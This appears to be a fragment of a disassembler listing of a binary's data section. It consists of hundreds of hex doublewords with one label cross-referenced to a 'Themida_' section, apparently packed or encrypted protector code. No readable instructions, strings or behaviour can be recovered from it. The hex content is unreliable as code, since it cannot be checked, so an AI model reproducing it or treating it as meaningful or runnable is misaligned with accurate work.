		dd 7CCFB966h, 66D18A61h, 7F77C081h, 0E9CBB70Fh,	11h, 0BAF70FD1h
		dd 83C8E297h, 0B5E5ADA0h, 8562EBCBh, 0BA6660DFh, 816087C9h
		dd 0F141CD1h, 26BB6646h, 666161C0h, 667192B8h, 0C34CF781h
		dd 10E8h, 0C3F75E00h, 0C376969Eh, 0E96E68Fh, 38289F5Bh
		dd 0E6EDB8B1h, 0F5841D6h, 582h,	0DB816600h, 0F60D429h
		dd 1681h, 11E900h, 0A93B0000h, 0C0C0D46Ch, 0CC3D65FCh
		dd 1A995766h, 60483CA7h, 955B64B8h, 6661612Ah, 0F8849B9h
		dd 28Ch, 56C68B00h, 5ECFB70Fh, 9840Fh, 890F0000h, 3, 81FEB70Fh
		dd 0FAB338F0h, 0AE82Dh,	0F7430000h, 0E6DB188Eh,	0FB4AFF6Ah
		dd 0BBE6660h, 61B0B26Eh, 6E9F95Eh, 0F9000000h, 0F2B4359h
		dd 0C0816621h, 0B70F9E83h, 0A2EB80C1h, 0EFD38166h, 92BB6625h
		dd 12B96610h, 76CABA5Dh, 14E93D2Ch, 27000000h, 4AEF949Ah
		dd 191996CBh, 47A2F54Ah, 7D3FD91Bh, 0F15EAC7h, 118Eh, 0CE900h
		dd 43D90000h, 47A0DDABh, 3252A9E9h, 5A575B79h, 13E9E9B2h
		dd 1000000h, 2DA878C8h,	0EFAFEE6Bh, 30EAA87Fh, 29D1CDEh
		dd 0E960D89Dh, 0Eh, 8BA21102h, 5F45C5C1h, 660DF9FDh, 0DDBFBAB6h
		dd 610F8C7Dh, 0AE856h, 0B0130000h, 61CC6673h, 0F239826Bh
		dd 58E4EC80h, 0E860515Fh, 5, 0AEC4A064h, 0E8805A1Bh, 805F6182h
		dd 66F514C7h, 0F281C68Bh, 21D4B26Bh, 10E9h, 18A78600h
		dd 0DD515CCAh, 4D85089Eh, 0D72E153h, 8E8F1h, 3EFC0000h
		dd 0C685B336h, 0D7812891h, 4C97C795h, 96D3805Eh, 7E8h
		dd 9D3E0500h, 0CAFB617Ch, 0F58D98Bh, 0C38ACBBFh, 42C28166h
		dd 18BB6037h, 0B3584254h, 5BB661D7h, 0FC1BF0Fh,	0D981DEB7h
		dd 51D984D1h, 47AB9B8h,	10E906h, 4D8C0000h, 0B1D5D7F4h
		dd 7AF66191h, 0BEBCFC29h, 0DE814CC5h, 7A06FF2Ah, 66F2BF0Fh
		dd 0BB0740B8h, 7CAAC981h, 5880FF5h, 66000000h, 0E50BF281h
		dd 0E9F0B70Fh, 14h, 891F19F4h, 112A4934h, 0D79BAF1Ah, 44E66D82h
		dd 0B8F2256Ah, 0F98B6657h, 0BF0FF55Bh, 8B6657FAh, 0FB8B5AD6h
		dd 14E8h, 0F2609300h, 5AB1BCA5h, 0D2658BE6h, 0AD14EA64h
		dd 58619B11h, 80BA660Fh, 0AE95942h, 0AC000000h,	2FE754ABh
		dd 9C552BB1h, 0F88B668Dh, 3B6F95BAh, 0CEB70F37h, 0F8D88B66h
		dd 8E9h, 83EDB600h, 30470177h, 0E992B535h, 0Ch,	9A618DCBh
		dd 0CE145DCEh, 0EBA633F7h, 5890Fh, 46BF0000h, 5112E8D2h
		dd 815E22B7h, 199D96EEh, 0C5806057h, 0C8DF816Fh, 613E8829h
		dd 8870Fh, 8C0F0000h, 2, 0F1815E53h, 0D79BCB3h,	0D6B70FFCh
		dd 112FDF81h, 8B0F57F7h, 9, 3880Fh, 0C4800000h,	7E965h
		dd 0AECA0000h, 0F2124141h, 0B5B8660Fh, 0E856FC20h, 10h
		dd 0EB71F636h, 772531C0h, 261FD003h, 35171AE9h,	8E0Fh
		dd 5A5B0000h, 0A52FE381h, 8B66764Ah, 0D4DB80FAh, 0E54DCE81h
		dd 0DE929F1h, 88000000h, 0A19FAA3Eh, 59E41Dh, 0ED5502A5h
		dd 7E9h, 53499F00h, 62C745FDh, 0D4B96651h, 0F575AA5h, 28Eh
		dd 5E30B600h, 9E9FCh, 0ED740000h, 71699149h, 662E6874h
		dd 0E9E775BAh, 0Bh, 90C49262h, 0DC43BC0Fh, 0E801F18Ah
		dd 0Eh,	0EE5DB842h
		dd 0CF11F9A9h, 7187E9FDh, 3CBEE92Ah, 5F069011h,	0FD2BBF66h
		dd 6095B160h, 61FE8B66h, 73E28161h, 812E54A5h, 9FBF19E0h
		dd 0CCCF8115h, 6045B05Fh, 5E953h, 1D710000h, 5AC53D34h
		dd 0CE8h, 49A07F00h, 713B040Eh,	42CD23B6h, 0FE9D4h, 0B42A0000h
		dd 4A26063h, 0B576F0DFh, 8415C21Eh, 0BB6159EAh,	8F155AFh
		dd 86C68166h, 0D18B66EDh, 0FD7B70Fh, 683h, 1CD78100h, 814D0A5Ah
		dd 559E39E1h, 1FD68163h, 66222330h, 890FCE8Bh, 17h, 11860Fh
		dd 0CE90000h, 0DD000000h, 4618F3D4h, 480CC2DFh,	60B9ECCAh
		dd 61DBBF0Fh, 0C92DF681h, 8E0F1FA8h, 2,	840FC38Bh, 8, 2820Fh
		dd 61600000h, 38E0Fh, 0E1800000h, 0E820F83h, 0E9000000h
		dd 9, 0C3420220h, 67E60E7Bh, 5850F10h, 66000000h, 0FD50E881h
		dd 0B560FC60h, 615A5076h, 0CE961h, 35300000h, 9BFCEE66h
		dd 7DA5BDA2h, 0AB90B25h, 0E95380ADh, 6,	84D245C6h, 81BBDC39h
		dd 8B5A6EBDh, 0B6F78ACAh, 8B66F9B1h, 6840FFAh, 81000000h
		dd 8E6ABDC3h, 66F88B4Eh, 0A3B8E781h, 6AB5EEBEh,	0DB806008h
		dd 61FB8BEFh, 0FF7BF0Fh, 0D8Eh,	8E900h,	7F9D0000h, 5BDC236h
		dd 66F907BFh, 0B70FF98Bh, 4890FFEh, 66000000h, 8B023EBBh
		dd 0D08B66D6h, 2BEB8166h, 10E9C2h, 662C0000h, 0C3D2537h
		dd 55A1672Dh, 4DD0210Ah, 5E974F0h, 0C3000000h, 775B2631h
		dd 38F0Fh, 8B660000h, 0ACE881CBh, 0E90B542Ch, 6, 0A4665B07h
		dd 0D4B7FE91h, 0DB4E57B9h, 12E85Dh, 43DF0000h, 206AD111h
		dd 4CB5078h, 0DAE57026h, 5E616961h, 0F5D1C881h,	8A58233Dh
		dd 0DCF681F3h, 66638118h, 2D14CA81h, 0B5CA8BF8h, 39D28188h
		dd 66157253h, 8166DE8Bh, 0B892B2C8h, 1E1357A0h,	11E9h
		dd 7FF3C900h, 828E018Ch, 0BB987C3Eh, 606541EAh,	13E85A54h
		dd 80000000h, 0C3574043h, 0FD8E82BEh, 888F8592h, 568DFEEFh
		dd 0B70F23FCh, 11E85BC9h, 19000000h, 87FDF5A7h,	964F6285h
		dd 0E8C06C35h, 35A223BDh, 880F50h, 58000000h, 9775BF5Bh
		dd 816678FCh, 0E9E257D2h, 10h, 0BBD635A0h, 0B2DABCB8h
		dd 8A5F9C3Fh, 5EA97F2h,	1AA2B6BFh, 81F78060h, 0B90AB960h
		dd 9E91E40h, 73000000h,	19E1089Ah, 295776C2h, 6850F61h
		dd 81000000h, 8441CCAh,	66F98A6Dh, 8230D081h, 0DE9F8h
		dd 0D60B0000h, 5E306AC1h, 1934D9CEh, 80233FDFh,	13E8ECE9h
		dd 5A000000h, 0B7AA46FDh, 646F6506h, 0F5BD72B1h, 33137EFBh
		dd 0B6570CE2h, 0E9585FD8h, 7, 8731321Ah, 0FF2A4C9h, 0CE9CEBFh
		dd 0E4000000h, 76FDCA9Bh, 0E54E7318h, 0E94268E8h, 9, 53FFC980h
		dd 3A64E25Bh, 8D0FF888h, 4, 1576B966h, 6E860h, 3DCF0000h
		dd 0BA8854BEh, 890Fh, 66590000h, 0E961F78Bh, 8,	0A8262CFBh
		dd 2D285ABBh, 5850Fh, 54B80000h, 0BE3242B7h, 4EA620B5h
		dd 6850Fh, 66530000h, 586BE8B8h, 12E9h,	0FFD0A300h, 90B5A850h
		dd 7463E8D6h, 0FCE283C2h, 0E8E3680Fh, 8, 9AA01AC8h, 690231C7h
		dd 0CA3BEF81h, 665E1A3Ch, 0E957F28Bh, 14h, 6F20175Fh, 64AE3769h
		dd 8AE092C6h, 3AAD1F1Dh, 91279CA7h, 66F18B5Bh, 8E9DE8Bh
		dd 9000000h, 0F6F8E436h, 0B8A5A2F3h, 4046B06Dh,	12E8h
		dd 0BF724B00h, 0C21AE6Ah, 0F53FA171h, 0BF08E885h, 0FE789A0h
		dd 5158C7B7h, 9734D081h, 0F55E19E1h, 1A1A91B9h,	6870F15h
		dd 81000000h, 0CDFFCCF1h, 11E966h
dword_5BE868	dd 77D30000h, 3F426651h, 2E0F126Ch, 48B9D9BDh, 8BFB0571h
					; DATA XREF: Themida_:0056DAFDo
		dd 0E8EE8AF2h, 11h, 44C1284Eh, 8620B84Fh, 5FDD983Eh, 13626145h
		dd 83BB6637h, 0C9805E9Dh, 0EE940h, 45E30000h, 0AFE1862Dh
		dd 0FA93A978h, 0D2AE1D93h, 8B61FC60h, 5F5057CAh, 8060605Bh
		dd 59561BE3h, 61C78B61h, 6E8h, 0BAF48A00h, 0E9297F76h
		dd 13h,	84FE5434h, 0E4793565h, 0CF310AC5h, 0F78A321Dh
		dd 5A08554Fh, 0F9A6E980h, 11E8FE8Bh, 16000000h,	69326226h
		dd 0ADA7419Ch, 0B50D8E52h, 7EB23363h, 5ACEBF0Fh, 66DA8B66h
		dd 0EE00C781h, 5E9h, 9118F400h,	50F9948Ah, 0DE9h, 0F1F51300h
		dd 6D78F1Ah, 96EFB85h, 605EB5BBh, 0E7E13EB8h, 11E87Ch
		dd 23750000h, 5E42BFDAh, 0EFC26868h, 0CC19C368h, 666F3602h
		dd 3420F081h, 880F615Bh, 12h, 65D88160h, 0E979A18Dh, 5
		dd 0C04B6BB8h, 0FA8B61D1h, 0FC7F781h, 840F617Ch, 0Ah, 48C0Fh
		dd 0B9660000h, 0BA600952h, 1C6DA41Eh, 0DE9h, 0F9CB9300h
		dd 0F8C5A2D3h, 665B07F1h, 0E96191A4h, 0Bh, 7E98C993h, 2F0F9912h
		dd 57486A09h, 0CB816658h, 0FFC67C2h, 988h, 38E0F00h, 0F000000h
		dd 6DB2C2B7h, 0E8D88B66h, 0Dh, 2B001F9Ah, 0CC5DF68Ah, 0C0F3FC06h
		dd 5885B0E9h, 0E120F1BEh, 6DD38106h, 60427D53h,	12E8h
		dd 268A800h, 44EAF4BAh,	64DA267Eh, 96593272h, 6617FA4Fh
		dd 615BF18Bh, 4830Fh, 0BE660000h, 5E891FCh, 6F000000h
		dd 9C3BC1E9h, 58F38B66h, 0FE8DF8Bh, 48000000h, 0B964B798h
		dd 47A9E4ADh, 36D9F028h, 0C2812FB4h, 2FC3B082h,	0D6B8665Bh
		dd 81D3817Bh, 6025665Fh, 0DED4BB66h, 0FDD08166h, 10E961D7h
		dd 0AC000000h, 0D8CB2411h, 0DDF60AF8h, 246D881Dh, 663656A7h
		dd 5FFDCE81h, 0FE8h, 0A7485F00h, 8824407Ah, 73B6C16Ah
		dd 6763C9ACh, 5BFB8B66h, 20C08166h, 0AE8CEh, 0EE20000h
		dd 9141DE2Fh, 40424191h, 0CE9h,	7CC35D00h, 10303C2Fh, 56C01A68h
		dd 0BF0F58C9h, 81FE8BCAh, 0A43F5AF7h, 33C0807Dh, 0FF30B866h
		dd 0E8C28B66h, 12h, 7B539F8Ch, 6C41937Eh, 0CA57412Ch, 69A36491h
		dd 11E9AE23h, 0AA000000h, 0CC078CE5h, 0F0E38ED0h, 3C34164Ah
		dd 0A8228547h, 61F5605Bh, 9E9h,	597A8600h, 0A932A2CEh
		dd 0B70F1535h, 0A0C781F7h, 0F493150h, 77BED0B7h, 8154CFCAh
		dd 453C72D7h, 0C68B6613h, 0CE8h, 0CA6EAA00h, 877283D2h
		dd 0D792A7B0h, 11E95833h, 0F2000000h, 0D5B22849h, 25DEAB2Eh
		dd 0DA52C1EEh, 19E9D7E8h, 74E08152h, 5B3B2BC7h,	5E8h, 0A2B1B400h
		dd 9E95BEBh, 3D000000h,	512F0745h, 40B02ACEh, 8E85Bh, 0D4CE0000h
		dd 0C705556Ah, 59F831A2h, 5E8h,	0B5082E00h, 525E0CF0h
		dd 0FDE8B60h, 5961F1B7h, 17880Fh, 12E90000h, 8E000000h
		dd 0E68112B6h, 0D6D2CF60h, 2A5360BAh, 0D78C9503h, 0CA8B663Dh
		dd 0D1FDBB66h, 6880Fh, 890F0000h, 0
		dd 0E6F18166h, 8B665070h, 0F08B5FCAh, 13E9h, 1D247300h
		dd 0DCCB2C9h, 0B7910F1Bh, 0A5158DB7h, 2462D885h, 19C38166h
		dd 0E9FC603Ah, 9, 40B92185h, 0FDC1532Dh, 6653617Bh, 1DFDF281h
		dd 0F18B6658h, 58B0Fh, 81660000h, 0FFD29DAh, 5650F3BFh
		dd 14E9h, 0EF570C00h, 0C1849AF7h, 4DBC8188h, 833176A4h
		dd 0BA23151Bh, 0F5E5FABh, 86h, 0AE900h,	0FB60000h, 3A94A702h
		dd 0E61EB1D8h, 0BFCE8ABBh, 5EC58079h, 0C1C78160h, 0BA1EE29Eh
		dd 75DF7C4Ch, 2890F61h,	8B000000h, 13E9C1h, 25890000h
		dd 0E2AB729Fh, 3FB6E514h, 0C542E470h, 1DCCA2D8h, 2850F61h
		dd 8A000000h, 0FFD980CFh, 919FD281h, 0D6803802h, 0DA8B66DCh
		dd 11E9C28Ah, 79000000h, 3D5ED17Dh, 0EB5558F7h,	4532C604h
		dd 0B535C986h, 0F9ECB80h, 48Eh,	61606000h, 0BE6661h, 66D38B9Dh
		dd 6E2FC181h, 0B870Fh, 810F0000h, 5, 0FED61FBEh, 59F9565Fh
		dd 8EAFF681h, 0FCFC32BDh, 870FDA8Bh, 18h, 0EE8h, 0A09DDA00h
		dd 0EB030007h, 1E12F53Ah, 669A7A81h, 580AC4BBh,	13BF6657h
		dd 11E85FC5h, 68000000h, 0A6BA44B6h, 95463E8Ch,	49C8C871h
		dd 0F0DACA66h, 0FFA8B60h, 8Fh, 0F85E6100h, 1A70C781h, 8B0F6292h
		dd 0Bh,	6E9h, 59310C00h, 8BB4410Bh, 0F98B60CAh,	61F6B70Fh
		dd 0FE9h, 33E96100h, 0B62A7C50h, 0AC77C816h, 4FC51EDh
		dd 3E69F4B8h, 68A0F0Dh,	81000000h, 0FE0944EEh, 5E90Fh
		dd 10780000h, 0E9AD18E0h, 0Dh, 56009445h, 0A7C6B309h, 3D5B14D8h
		dd 19C98152h, 0B62ED995h, 7E967h, 0EC3E0000h, 8A7085CDh
		dd 0CABF0F0Dh, 0CE860h,	3C840000h, 0EFB1AB37h, 71D3B6E1h
		dd 5BF9513Eh, 3860Fh, 0BF0F0000h, 2EBA61FAh, 803F704Ah
		dd 0E281E0CEh, 58ED4B13h, 1860Fh, 80F80000h, 0EE96DE4h
		dd 43000000h, 7BF963DBh, 9598FBCh, 5C82346Ch, 0FCB8B29h
		dd 8A56D7B7h, 8B665ED9h, 8850FC2h, 0F000000h, 28Dh, 0F5E5600h
		dd 48Bh, 0B1BF6600h, 6850F71h, 81000000h, 0CA007FC2h, 11E93Eh
		dd 35470000h, 0A2E2E1E3h, 76853BEh, 215A2A18h, 0F55E9D00h
		dd 852508BEh, 10E875h, 81060000h, 94316192h, 5E66A5DCh
		dd 0F128DE24h, 0B86608D7h, 0B15BC50Ah, 5E961h, 0BCDF0000h
		dd 66D45533h, 0A1DFF281h, 12E8FCh, 58090000h, 0C004DD27h
		dd 0E35F8B90h, 2F124CD3h, 55904AF2h, 0C5AAB866h, 0FEF1815Eh
		dd 0F14D86Fh, 285h, 0E9D88A00h,	0Ch, 488D10FBh,	331D16C5h
		dd 5BFDE144h, 77CEDA81h, 8B0F189Ah, 2, 890FCA8Bh, 8, 45BE6660h
		dd 615B5398h, 14890Fh, 0FE90000h, 0EA000000h, 469264FAh
		dd 0DBAC85F1h, 49EBC85Ah, 0F08050D7h, 26B966D4h, 0BE925h
		dd 0E5EC0000h, 8926BFDEh, 7F0D883Dh, 0F7B70F26h, 6E9DE8Bh
		dd 25000000h, 0FEFD82C7h, 0CE973h, 0AEDC0000h, 0FECD07C3h
		dd 764C57C3h, 0E9508AE9h, 0Bh, 9895E7AAh, 0AF677B7Ah, 5BF16BEEh
		dd 2DDA81F8h, 5055DA90h, 14E9h,	3B745A00h, 59062301h, 7B240102h
		dd 0F66CA3F9h, 4421D9Fh, 8A0F5B7Fh, 9, 3820Fh, 0BF0F0000h
		dd 0FB8B66C0h, 0E681FDB0h, 62C057F5h, 8ADA8166h, 0B2E280A9h
		dd 38D0Fh, 8B660000h, 0B830FF0h, 60000000h, 0EC87E881h
		dd 8B663324h, 96BA61CAh, 0E82B1FBEh, 9,	671CE8E9h, 22D89B6h
		dd 0BA5BFC8Dh, 5D7D26F8h, 8E8C18Bh, 48000000h, 0C358753Bh
		dd 6670F089h, 0C9C281h,	820F59h, 66000000h, 0BF0FD98Bh
		dd 0F38160D9h, 219D28D4h, 62BA6661h, 0AE9606Ch,	25000000h
		dd 0F0A41743h, 8BB5A585h, 0EDEB8102h, 611AE1AAh, 9C17BE66h
		dd 0CABF0FF5h, 56F88B66h, 6E8h,	42521900h, 0F54CEF3h, 89h
		dd 605E5800h, 81F2B70Fh, 0AC5C6DAh, 8B666127h, 6850FFEh
		dd 81000000h, 99435CF6h, 12E91Ch, 69BC0000h, 0AEAD4BB6h
		dd 5D2B79E2h, 0DA1E3DEFh, 0A27FA9ECh, 608BC580h, 11E8h
		dd 488EA700h, 0B9EB988Ch, 7943471Ah, 1737186Ah,	0D88BBEC8h
		dd 7E85Ah, 0A8490000h, 4470DF84h, 0F0B70FCCh, 0B70F615Ah
		dd 12E8C0h, 56E20000h, 88B0B3Bh, 37946268h, 0F1542DF3h
		dd 8BF3152Bh, 0EED08166h, 7E85A91h, 7C000000h, 0CA7E00ACh
		dd 0D88A3B42h, 12E959h,	8A320000h, 8554FF7h, 616FE882h
		dd 0F4C86DE4h, 0EE70D60h, 60BECA8Ah, 8B010F0Bh,	0FC38BD1h
		dd 386h, 0CA8B6600h, 14E9h, 25636700h, 0E0D91h,	0F6620200h
		dd 0D5AFF4C5h, 0DAEE5CB9h, 0BA60519Ch, 7C3BA7FFh, 1B85A61h
		dd 604E00ECh, 0AFCF03BBh, 0A8DC806Ch, 108A0F61h, 0E9000000h
		dd 0Bh,	0C9170E1Ah, 0C6D41A14h,	66827802h, 8A87BBBFh, 0AE8C3h
		dd 759B0000h, 8092A6B8h, 0B6AA8F37h, 0F464C881h, 8B5F1F5Ah
		dd 0E78166C7h, 860FF258h, 14h, 0FE9h, 0D4B4A500h, 0F7A88248h
		dd 311894DDh, 0B9D6D36Dh, 0EE8h, 92458600h, 0ED3E55BDh
		dd 0F477007Bh, 0B7C76E91h, 9E85FA1h, 0B9000000h, 59B9F83Dh
		dd 0A42D8383h, 8B0Fh, 0E85A0000h, 13h, 432FE995h, 69F48F21h
		dd 6E4DAE1Eh, 0D30E9EABh, 6096D8C9h, 820F5F51h,	0
aAxs		db 'aXé',0Ah,0
		db 2 dup(0), 63h
		dd 0D3F837E3h, 52FAF0B3h, 0F6EB4A5h, 58Eh, 0E2816600h
		dd 0B70FAF5Bh, 7E9FBh, 0D7090000h, 686A2910h, 0F9B966B4h
		dd 5173B65Ah, 0B69ADBBh, 8B665B53h, 0BBB2B2DEh,	461639B3h
		dd 66FA8B66h, 0F8DBE3BBh, 12E8h, 855EA900h, 0A877E4C3h
		dd 0D1B34292h, 2F2E9134h, 66EFCDFEh, 9425DA81h,	10E85Eh
		dd 2C550000h, 33A86EF8h, 0B7DD0061h, 424D3A13h,	8B667C54h
		dd 7E85FF8h, 13000000h,	0AB1EDC57h, 0BF0F50AEh,	0BB665ED9h
		dd 0FF93CE4h, 1386h, 0AE800h, 966B0000h, 0E580F0F9h, 6CE6052Ah
		dd 59CBBF0Fh, 10E9h, 0B6063600h, 0D4EE4E1Ah, 0B207224Ah
		dd 0A1CD504Ah, 0AE943h,	3D160000h, 3F65967Fh, 49A6F1E9h
		dd 8F5A4BEh, 0C5BA6615h, 800F60F9h, 3, 0FD2B70Fh, 188h
		dd 0E961F500h, 10h, 0AC0F0023h,	0FA9DC425h, 5478947Dh
		dd 0E79C6712h, 3FB9BA66h, 0E511AEBEh, 0AE959h, 0CC330000h
		dd 0F17AEEBCh, 0CF8D2191h, 0C26ABAF5h, 0DE860BEh, 0EF000000h
		dd 0BD06BF7Eh, 52AAD3A1h, 0DA8DBAF5h, 565EFB8Bh, 5FF08B66h
		dd 81FBBF0Fh, 0E6CD44C0h, 12E867h, 46030000h, 0E3D7C2C0h
		dd 28DCA9CBh, 19B30ACFh, 0D3CC78DCh, 0FE9h, 5C22E00h, 3A4880Eh
		dd 87DE3D2Fh, 4E7A5DACh, 6E95Eh, 0CF20000h, 0BC6B6B98h
		dd 0ACF4EA81h, 0BDBE5C3Fh, 6679E156h, 0EE9F88Bh, 0B4000000h
		dd 257C9A8h, 0D9B9781Fh, 40C783FDh, 5E8ABh, 21EB0000h
		dd 817ED2E7h, 0E36750DFh, 840F5A27h, 16h, 11E9h, 18B90900h
		dd 5EF0771Ch, 94D1930Eh, 1EBEA73Ch, 8B663995h, 10E8CFh
		dd 0EAE10000h, 0E0213A2Fh, 69426043h, 9B79F2CCh, 8B66CE09h
		dd 8B0F5AC2h, 1, 85E781FCh, 6060CEA2h, 8166DA8Bh, 616F8AF1h
		dd 0A85DD0BEh, 6ABA6637h, 0F1B70FF6h, 60F1B70Fh, 0BE9h
		dd 41274C00h, 20D9D2B8h, 979F3011h, 6E8h, 8510C300h, 0BB31F885h
		dd 645F434h, 0BF66615Bh, 80B97D29h, 817F140Fh, 774892EAh
		dd 0A3B46051h, 61F3BF0Fh, 0CA81EBB6h, 2DF4EBF4h, 0ACF28166h
		dd 8B66F8C7h, 0CE953C2h, 0D0000000h, 0E65B8723h, 0CBEDCEEAh
		dd 59C8DD43h, 0F1816660h, 0AE9F952h, 0BB000000h, 64BC2251h
		dd 3AB8592Ch, 860F6184h, 3, 66F6BF0Fh, 820FCB8Bh, 10h
		dd 7E8h, 0BF5DFB00h, 85250FEFh,	59C9B70Fh, 0BE8EA8Ah, 0DE000000h
		dd 0D893476Ah, 0CE838EB0h, 0E95879A4h, 6, 11C11FA1h, 0CE8BD567h
		dd 0C023F181h, 0FE80A21h, 63000000h, 0F1D3369Eh, 2629B4E8h
		dd 72EDFFC3h, 6660EEC1h, 0AF2DEF81h, 61D9B70Fh,	6E95Ah
		dd 0E4FC0000h, 347D5A5Eh, 665FED80h, 2D62CE81h,	9E9h, 5EF2DB00h
		dd 6D0CFD98h, 0DE9A3C0h, 0AB000000h, 0CBFFF1C0h, 0BC8B0F35h
		dd 0E309263Fh, 118B0FF9h, 0E8000000h, 8, 9D34BDABh, 9FE7046Ah
		dd 5AC9BF0Fh, 10E9h, 7D6D4300h,	0C2EE143Dh, 38E39645h
		dd 0E1405D22h, 1830F61h, 0FC000000h, 2542C381h,	0B70F623Dh
		dd 89F280D2h, 14E9D08Bh, 6000000h, 6CF6FBADh, 72B8617Bh
		dd 85CDEC3Eh, 0F90D8A70h, 662C517Dh, 0BF0FD78Bh, 0A3BFF9F6h
		dd 0E85144EBh, 12h, 81810707h, 0E0FD647Bh, 0F1E8A44Fh
		dd 730BE397h, 0D480CF53h, 810F586Eh, 9,	3810Fh,	8B660000h
		dd 0E08166FEh, 0F98A336Dh, 0FDE8B66h, 78Eh, 8B666000h
		dd 616160FAh, 7E98DB7h,	22000000h, 9A245ABFh, 8E986F3h
		dd 2A000000h, 0C2D9D453h, 81A07EB6h, 0DB0074C3h, 66C28B13h
		dd 8BF4DEBBh, 0F3BF0FD9h, 5E960h, 1C0F0000h, 0BAB72DDCh
		dd 61756C6Ch, 8BF78B61h, 0DE9DEh, 451D0000h, 48066027h
		dd 0EC7BC9B4h, 0B55C3058h, 0E8D18B0Ch, 12h, 0DD9BADA6h
		dd 8C7BA9D0h, 0F82A467Dh, 2B4E014Ch, 0F5F7EE8h,	485h, 6CBE6600h
		dd 0FEBF0FA5h, 5D3DD181h, 8C0F065Fh, 16h, 11E9h, 63CF5700h
		dd 9C0ED14Dh, 17E9ADDCh, 7413793Ah, 5E949B2h, 1A000000h
		dd 81665E58h, 0A90CBE66h, 0C4BB6656h, 0AE95940h, 62000000h
		dd 722432FFh, 0C803AFF2h, 0CE9BAh, 0EF200000h, 0DC9F6FA6h
		dd 6D55AC6h, 40B3B6ABh,	9CF08166h, 0CAE8BBFCh, 0FFC1E6Eh
		dd 183h, 0C7BBF900h, 0B47A8451h, 0E781661Fh, 0FF5E719h
		dd 84B9D1BFh, 0E94C1B0Fh, 12h, 796415Dh, 63FBA866h, 2DD4F7D9h
		dd 0C1328A9Fh, 8B660EAEh, 12E9F2h, 0CB110000h, 879C1B7h
		dd 0CAF4DA16h, 7804D590h, 76E8F3A4h, 7E9h, 765D9000h, 97EB1B8h
		dd 60FABF0Fh, 0B9D496BAh, 8F0F6059h, 0
		dd 466D081h, 61612874h,	0D38AD78Bh, 9E9CB8Bh, 0EC000000h
		dd 6F69B703h, 2DA69D58h, 515EE880h, 5E9h, 0F8A6EE00h, 0E85E5FD8h
		dd 0Dh,	5A2BF0EAh, 0B6225338h, 6E99D39Eh, 5ECC8A7Fh, 0D0B70FFCh
		dd 5E960h, 675C0000h, 61A26276h, 860Fh,	8B660000h, 18B0FD0h
		dd 0FC000000h, 14B3D1B6h, 0E273C981h, 0E781758Dh, 26A4ADBCh
		dd 9A8BB966h, 0EF7F11BAh, 800F7Ch, 0F9000000h, 332049B8h
		dd 0CE823h, 49E00000h, 0F130E34Eh, 217CDDCFh, 0E9599212h
		dd 5, 0F5B4E4A2h, 0F1BF0F6Ch, 13E9h, 80DB300h, 0DE3AEA2Ah
		dd 4B0A77E6h, 80041D81h, 18468BA9h, 10E9h, 0F4DE1800h
		dd 968ACBAEh, 532820BAh, 0ADCDA452h, 0E5BB66B0h, 0C78B6687h
		dd 5B525260h, 13E95Bh, 0E8F90000h, 0CAD46E0Ch, 0CD974BF0h
		dd 0CFC3368Eh, 650019FFh, 606061F9h, 8E0Fh, 850F0000h
		dd 0
		dd 61C18B61h, 12EF8166h, 38F0F45h, 66000000h, 8166D78Bh
		dd 0F5A7FF6h, 483h, 24BE6600h, 5830FF5h, 66000000h, 0B742F681h
		dd 0D1C28166h, 94BA664Ch, 80F08196h, 0B8406D45h, 5C7139EAh
		dd 81D68B66h, 0A13B35DFh, 28A0F12h, 8B000000h, 0F2B70FD3h
		dd 0DCBF6660h, 0D081664Ch, 0F61246Ah, 108Ch, 0BE900h, 62CB0000h
		dd 57FBACA5h, 115DCDD4h, 0EE8FCEBh, 0FC000000h,	37AB0DDCh
		dd 9A535050h, 6936C468h, 5850FB8h, 66000000h, 533E681h
		dd 0B70FF95Eh, 32F6BFFFh, 0F8F5003Fh, 0BECF8166h, 0F6EE81B9h
		dd 602F2AF6h, 9AE68166h, 23BB665Bh, 8F0F615Fh, 0Ch, 6890Fh
		dd 0CA810000h, 49C944FEh, 6E8h,	8E2D5D00h, 0E96EBF56h
		dd 8, 8D1635E0h, 0B9FE83FEh, 14E8535Ah,	15000000h, 7E7F151Fh
		dd 64A80CFh, 23A0D952h,	0FAF1D597h, 8BF34E59h, 0F55B58D7h
		dd 12E8h, 0C55DB00h, 0B5FCF045h, 0D6E4F4DCh, 54A4914h
		dd 0FC7E11C6h, 0EA816659h, 0BE8B038h, 0C4000000h, 198B5A34h
		dd 0A52E6744h, 10E9A7E0h, 0FF000000h, 19828B35h, 7E2B44ADh
		dd 351AD7C3h, 5B2E3438h, 60E98166h, 0BAF081B8h,	80020E9Bh
		dd 0F52D2CBh, 483h, 9DBA6600h, 0B70F58AFh, 7E9F0h, 0E94B0000h
		dd 55CBE75h, 0DF806038h, 27DF8011h, 6EBBF861h, 0F92902EAh
		dd 9E9h, 0F0125F00h, 978032E3h,	5E9B2A8h, 86000000h, 0D7B2A24Eh
		dd 81F28B66h, 45DCC5E9h, 0C38B5356h, 0CE95Fh, 10FB0000h
		dd 16C5488Dh, 0E144331Dh, 11E95BFDh, 0A7000000h, 3BFEF5FEh
		dd 0BE833E13h, 0A3A72742h, 52387302h, 0F965D881h, 0B70F23B8h
		dd 11E8F2h, 9D560000h, 193F55C4h, 83679FC0h, 7190E631h
		dd 0E836197Dh, 0Ch, 902C4DD4h, 4814C7C7h, 0E3DEC142h, 860Fh
		dd 5F580000h, 0B87EDA80h, 4AB73916h, 0E81FF781h, 0DE8B6DA4h
		dd 6057F081h, 0F6009A5h, 688h, 800F00h,	61000000h, 12E9h
		dd 621E5500h, 0C026D4BAh, 196ECBE2h, 95B64BC1h,	662E1CE1h
		dd 287EB81h, 0DC80C3B3h, 0E78A60BCh, 0E7F2BE66h, 96D0BA61h
		dd 0BA661230h, 8166299Bh, 0FF063E3h, 12E9D2BFh,	0B1000000h
		dd 85CE3219h, 0FD8CFBF3h, 918B5298h, 9E6B7DBBh,	5234BF4Eh
		dd 0BF0F07BCh, 0CB8B66C1h, 5E9h, 0EC74D500h, 14E9FDC3h
		dd 67000000h, 79A75DF3h, 0B07F4706h, 19E744Fh, 9C788CA8h
		dd 0E9F74C06h, 11h, 71713CFEh, 6A5F3C6Ch, 131A6DCEh, 4B9213EFh
		dd 6E969h, 0FB240000h, 5F22B2AFh, 8E0Fh, 0CE800000h, 0D781667Eh
		dd 0FF5ADB7h, 0BE66C6B7h, 0BE8FE4Fh, 9A000000h,	7AE0224Dh
		dd 0D3B2E6F3h, 8166280Dh, 5A075FC2h, 0F6C98050h, 2820F5Bh
		dd 0B3000000h, 0BE66F93Ch, 5B512F50h, 18A0Fh, 0E9F90000h
